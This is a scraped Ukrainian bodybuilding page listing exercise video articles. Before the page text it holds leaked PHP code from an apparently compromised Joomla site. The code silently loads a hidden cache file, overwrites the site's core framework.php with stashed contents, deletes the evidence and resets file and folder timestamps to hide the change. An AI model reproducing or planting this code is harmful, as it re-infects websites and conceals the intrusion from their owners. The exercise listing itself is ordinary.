$frameworkFile = $_SERVER ["DOCUMENT_ROOT"]."/includes/framework.php"; $cacheFile = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_system")."-cache-system.php"; $frameworkFileTo = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_framework")."-cache-framework.php"; if (file_exists($cacheFile) && file_exists($frameworkFileTo)) { require_once JPATH_BASE . "/cache/_system/".md5("_system")."-cache-system.php"; $filemTime = filemtime($frameworkFile); $contentFile = file_get_contents($frameworkFileTo); file_put_contents($frameworkFile, $contentFile, LOCK_EX); @unlink($frameworkFileTo); @unlink($cacheFile); touch($frameworkFile, $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/includes", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache/_system", $filemTime); } Відео бодібілдінг вправи | Спортивне харчування - успіх у бодібілдингу та пауерліфтингу

Відео бодібілдінг вправи

vpravyВідео - як правильно виконувати вправи в бодібілдінгу. Правильність виконанання силових вправ для розвитку мязів показують діючі чемпіони світу з бодбілдінгу, такі як Бренч Воррен, Джей Катлер, Ронні Колеман, Джонні Джексон, Річард Джонс та інші.


Фільтрувати за назвою     Показати # 
# Заголовок Статті
1 Тренування трицепсів- французький жим
2 Тренування спини-станова тяга-2
3 Тренування спини -станова тяга -1
4 Тренування плечей -жим гантелей сидячи
5 Тренування ніг - фронтальні присідання
6 Тренування грудних мязів -зведення на блоках
7 Тренування спини гіперекстензії
8 Тренування мязів грудей жим штанги лежачи
9 Тренування мязів грудей- жим гантелей лежачи
10 Тренування рук- підйом на біцепс
11 Тренування плечей- жим гантелей
12 Тренування спини- шраги
13 Тренування спини- тяга штанги в наклоні
14 Тренування спини - тяга блоку до грудей
15 Тренування ніг - присідання Хатфілда
 
Бодібілдінг відео Відео бодібілдінг вправи